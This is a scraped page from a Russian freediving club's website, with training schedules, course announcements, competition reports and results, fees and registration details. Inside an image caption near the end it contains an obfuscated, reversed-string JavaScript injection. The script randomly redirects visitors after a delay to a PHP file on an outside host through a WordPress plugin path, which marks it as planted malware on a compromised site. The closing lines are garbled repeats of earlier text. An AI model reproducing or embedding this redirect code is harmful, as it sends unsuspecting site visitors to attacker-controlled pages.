На период новогодних каникул, как обычно, будет действовать специальное праздничное расписание:
29 декабря (суббота, рабочий день) — в 9 утра тренировка. Вечерней тренировки не будет
30 декабря (воскресенье, выходной) — в 9 утра веселые предновогодние старты. Вечерней тренировки не будет
31 декабря (понедельник, выходной) — в 9 утра марафон
1 января (вторник) — БАССЕЙН ЗАКРЫТ
2 января — 8 января (выходные) — ежедневные тренировки в 9 утра. Инструкторы будут указаны в расписании на главной странице, которое обновляется еженедельно.
9 января (среда, рабочий день) — в 20:00 тренировка. Клуб «Монофин» возращается к обычному расписанию!
Всех, кто интересуется фридайвингом, приглашаем на курс по фридайвингу CMAS. Фридайвер в бассейне 1*.
Во время теоретических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
Расписание курса:
24 ноября (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
25 ноября (воскресенье)
18:00-20:30 практика на воде
1 декабря (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
2 декабря (воскресенье)
18:00-20:30 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
В минувшие выходные состоялся выезд клуба Monofin на Чемпионат Беларуси по фридайвингу (AIDA).
Наши спортсмены отправилась в следующем составе: Южнея Горелик, Александр Купцов, Мария Овчинникова, Юлия Попова и Наталья Болвачева.
Главным судьей соревнований была Ольга Сидорова (инструктор клуба Monofin), а фотографом — Елена Корчагина.
Старты проходили в трех дисциплинах — статика, динамика без ласт и динамика в ластах.
Суббота, 17 ноября началась со статики.
Лучший результат среди наших показала Юля Попова — 5:04. Она не только улучшила свой личный рекорд, но и заняла 3 место! Поздравляем!
Маша Овчинникова сделала 4:22 с белой карточкой. Отлично!
Южа Горелик — 3:59 и, увы, желтая (заявлено было 4:40).
Саша Купцов перепаковался, вышел через 50 секунд, не сделал вовремя протокол, что было уже не важно, поскольку заявка была 3:33. Красная карта и дисквалификация. Что ж?! Тоже опыт. Будет над чем работать.
После обеда к команде присоединилась Наташа Болвачева, и начались соревнования в динамике без ласт в том же 25-метровом бассейне “Дома гребли”. Южа Горелик завоевала серебряную медаль с результатом 121 метр. Поздравляем!
Саша Купцов чисто нырнул на 109 метров. Браво!
Маша Овчинникова — 96 метров. Чисто! Ура!
Юля Попова — 71 метр. Белая карта! И снова личный рекорд!
Наташа Болвачева дебютировала в динамике без ласт. Успешно проплыла 79 метров, но мокнула дыхательные пути в воду после выхода, за что, к сожалению, полагается дисквалификация. Ничего, мы это исправим на тренировках.
На второй день с утра соревнования переместились в 50-метровый бассейн БГуФК, где спортсмены ныряли в ластах. Южа Горелик взяла второе серебро с результатом 156 метров. И вышла на 3 место в общем зачете по сумме результатов за все три дисциплины. Молодец, отличное выступление на чемпионате, поздравляем!
Юля Попова смогла и в ласте улучшить личный результат. Теперь он составляет 124 метра! Чистый протокол и белая карта.
Наташа Болвачева чисто сделала 105 метров. Прекрасно!
Саша Купцов забыл на старте груз и даже без него нырнул 115 метров. Хоть получилось в итоге совсем не то, что планировалось, но он не сдался, не “слил” старт”. Заявку выполнил, протокол тоже. Белая карточка! Боец!
128 метров Маши Овчинниковой, к сожалению, не получились (DQ BO). Ничего страшного, будут еще старты! Извлекаем уроки и движемся дальше!
После церемонии награждения все отправились восполнять потраченные калории на драник-party!
Огромная благодарность клубу “Энергия глубины” (Николай и Екатерина Спирины) за отличную организацию соревнований и теплую дружескую атмосферу, так полюбившуюся нашим спортсменам!
В статье использованы фотографии Александра Акивиса.
всем, кто планирует в 2019 году участвовать в соревнованиях по фридайвингу CMAS от г. Москвы (т.е. зарегистрированных в ФПСР от г. Москва), до 22 ноября необходимо оплатить годовые членские взносыи прислать документы.
Размеры взносов:
за московские соревнования (МФПС) – 1 000 руб.
за общероссийские соревнования (ФПСР) — 1 600 руб.
Примеры расчета размера взноса:
Тем, кто планирует выступать только на соревнованиях в г. Москва оплатить нужно только 1 000 руб.
Тем, кто планирует также выступить на Кубке России или чемпионате России: 1 000 + 1 600 = 2 600 руб.
Форма оплаты взносов:
до 22 ноября можно привезти наличными
Сеничникой Екатерине Геннадьевне
по адресу: Ленинградское шоссе 25-А, стр. 4, бассейн Marina Club (ЦСК ВМФ)
Предварительно согласовать день и время по телефону:
Соревнования планируются задолго. Нужно уладить миллион формальностей и подумать о тысяче мелочей, и все равно что-то идет не так, как планировал. Просто потому, что вчера работало, а сегодня нет.
Но в тот момент, когда начинается первый старт, идет обратный отсчет, и спортсмен погружается в воду, ты понимаешь, что все было не зря.
Следишь за тем, чтобы все стартовали вовремя, всем хватило грузов, был слышен отсчёт и никто не забыл время старта.
Только ты делаешь это все не один, а вас таких — банда. Кто-то делает снимки на бортике, кто-то висит в воде два дня.
Все они огромные молодцы, потому что сделали большую работу, которую никто не замечал. Потому что все было четко.
И все равно главные герои двух дней — это спортсмены. Мы рады, что вы все такие разные, приехали с разных концов нашей страны, да и не только (отдельный привет Минску). Спортивный праздник состоялся!
Маргарита Петухова
Немного цифр и статистики.
Женщины в нырянии без ласт:
1. Южнея Горелик (Москва) — 114,25 м
2. Марина Рудник (Москва) — 90,80 м
3. Александра Тихоновец (Красноярск) — 89,6 м
У мужчин в нырянии без ласт такой пьедестал:
1. Дмитрий Сметанкин (Челябинск) — 143,42 м
2. Александр Максимов (Среднеуральск) — 132,70 м
3. Александр Дмитренко (Москва) — 122,11 м
Александр Дмитренко
В ласте женщины проплыли так:
1. Анастасия Жихарева (Москва) — 157,50 м
2. Южнея Горелик (Москва) — 152,95 м
3. Александра Чижикова (Москва) — 150,80 м
Мужчины в ласте показали следующие результаты:
1. Дмитрий Сметанкин (Челябинск) — 211,80 м
2. Михаил Брянцев (Красноярск) — 200,50 м
3. Александр Максимов (Среднеуральск) — 194,00
Мужчины в дисциплине 8х50:
1. Александр Максимов (Среднеуральск) — 5:39.93
2. Александр Купцов (Москва) — 6:41.99
3. Сергей Боговин (Санкт-Петербург) — 8:14.14.
Результаты впечатляют, уровень далеко не клубных соревнований. Отмечаем, что Южнея Горелик плыла в классических разножках. Но радует, что среди девушек, она была не одна не с моноплавником. Ольга Колпачева, для которой это были первые соревнования, тоже ныряла в длинных ластах. Сергей Боговин буквально приехал проплыть две дисциплины в один день и умчать обратно в Питер.
Николай Спирин (Минск)
Николай Спирин хоть и не попал в число призеров, но отметился фееричными выходами на своих попытках, венчавшихся получением красной карточки.
Марина Рудник
Марина Рудник просто героиня обоих дней. Девочка, которая занимается буквально два месяца, и явно получает удовольствие.
Ребята, занявшие мужской пьедестал в ласте, бились от начала и до конца: от стартующего первым Михаила Брянцева и до замыкающего Александра Максимова.
Старты 8х50 с замиранием отслеживали взглядом все и в субботу? и в воскресенье. Хоть с виду было достаточно спокойно, тем не менее страсти были нешуточные. Дисциплина хорошая — вроде и напрягся, а устать не успел. Не всех упомянули, но поверьте, мы всех отметили.
Спасибо за старание, терпение и труд.
Всех, кто интересуется фридайвингом, приглашаем на курс CMAS. Фридайвер в бассейне 1*.
Во время теоретических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
Расписание курса:
13 октября (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
14 октября (воскресенье)
20:00-22:30 практика на воде
20 октября (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
21 октября (воскресенье)
20:30-23:00 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
приглашаем вас принять участие в Соревнованиях по фридайвингу СК «Дайвинг». Соревнования проводятся по правилам CMAS.
Даты: 27-28 октября 2018
Организатор: СК «Дайвинг» Дисциплины: динамическое апноэ без ласт (DNF) и в моноластах (DYN), апноэ — 8 раз х 50 метров.
Расписание соревнований:
27.10.2018 DNF (динамическое апноэ без ласт) 08:00 — начало разминки
09:00 — начало стартов
12:00 — окончание стартов
28.10.2018 DYN (динамическое апноэ в моноластах) и апноэ — 8 раз х 50 метров
08:00 — начало разминки
09:00 — начало стартов
12:00 — окончание стартов
Заявки на регистрацию: до 25 октября 2018 (до 24:00)
РЕГИСТРАЦИЯ ОКОНЧЕНА
Стартовый взнос:
за 2 дня соревнований — 2 500 руб.,
за 1 дисциплину — 1 250 руб.
Оплата взноса за соревнования (варианты):
1) на карту Сбербанка 4817 7600 0282 8899 (получатель Ольга Николаевна С.). Без комментариев. Копию чека прислать на e-mail to:monofinru@gmail.com»>monofinru@gmail.com.
2) наличными передать любому тренеру клуба «Монофин» (тренировки ежедневно см Расписание)
Документы:
паспорт
медицинская справка от терапевта об отсутствии противопоказаний к занятию фридайвингом (справка обязательно должна быть оформлена с формулировкой «допущен(а) к соревнованиям по фридайвингу«). Справка должна быть выдана не более, чем за 3 месяца до начала соревнований.
страховка (страхование жизни, желательно указать «при занятии спортом»). Можно оформить в любой страховой компании. Страховка должна быть действительна в период проведения соревнований.
Документы необходимо предоставить Главному секретарю соревнований минимум за 1 час до старта.
по итогам наших соревнований для призеров возможно оформление спортивных разрядов.
Разряды могут быть оформлены:
только для имеющих прописку в г. Москва.
только по результатам выступления в дисциплинах динамическое апноэ в ластах и без ласт.
УСЛОВИЯ ПРИСВОЕНИЯ РАЗРЯДОВ: Динамическое апноэ без ласт:
1 и 2 места — 2 разряд
Мужчины — не менее 95 м
Женщины — не менее 70 м
3 и 4 места — 3 разряд
Мужчины — не менее 75 м
Женщины — не менее 52 м
Динамическое апноэ в ластах:
1 и 2 места — 2 разряд
Мужчины — не менее 100 м
Женщины — не менее 81 м
3 и 4 места — 3 разряд
Мужчины — не менее 80 м
Женщины — не менее 62 м
Например: чтобы подать документы для оформления 1 разряда женщине нужно занять 1 или 2 место в динамическом апноэ в ластах с результатом не менее 81 метра или без ласт с результатом не менее 70 метров.
Для присвоения спортивных разрядов также необходимо членство в МФПС.
Стоимость оформления разряда: 1 000 р.
Годовой членский взнос в МФПС: 1 000 р.
Если спортсмен уже является членом МФПС и оплатил взнос за 2018 год, то он оплачивает только оформление разряда (1 000 р.).
Если спортсмен не является членом МФПС, но хочет оформить разряд, то он оплачивает оформление + членский взнос за 2018 год (1000+1000 = 2 000 р.)
Всем, кто оставлял свои моноласты в клубе «Монофин», но не посещает тренировки, просьба забрать свое снаряжение.
В нашем клубе, как вы знаете, не так много места для хранения. Мы разрешаем постоянным клиентам оставлять моноласты в кладовой. Хотим напомнить, что «оставить на время» не означает «сдать на бессрочное хранение».
У нас накопилось большое количество ласт, хозяева которых не появляются в клубе продолжительное время. Моноласты занимают место, которое могли бы использовать те, кто посещает тренировки.
Просим всех, кто не занимается, забрать свои моноласты из клуба до среды (включительно). Неопознанные моноласты будут убраны в дальнюю часть склада. А не востребованные в течение месяца (до 10 сентября) — переданы в прокат для тренировок новичков.
Всем, кто тренируется и оставляет моноласты, просьба в обязательном порядке (на ближайшей тренировке) повесить на свои чехлы снаружи опознавательные бирки (непромокаемые) с фамилией, именем и номером телефона.
На период новогодних каникул, как обычно, будет действовать специальное праздничное расписание:![pho$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);}$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);} to by Daan Verhoeven](https://monofin.ru/wp-content/uploads/2018/08/olga-DSC03719-1300x731.jpg)
тических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
Суббота, 17 ноября началась со статики.
Южа Горелик завоевала серебряную медаль с результатом 121 метр. Поздравляем!
На второй день с утра соревнования переместились в 50-метровый бассейн БГуФК, где спортсмены ныряли в ластах.
В статье использованы фотографии Александра Акивиса.
Размеры взносов:
Соревнования планируются задолго. Нужно уладить миллион формальностей и подумать о тысяче мелочей, и все равно что-то идет не так, как планировал. Просто потому, что вчера работало, а сегодня нет.
Мужчины в дисциплине 8х50:
Стоимость интенсива: 4 500 р.
Всем, кто оставлял свои моноласты в клубе «Монофин», но не посещает тренировки, просьба забрать свое снаряжение.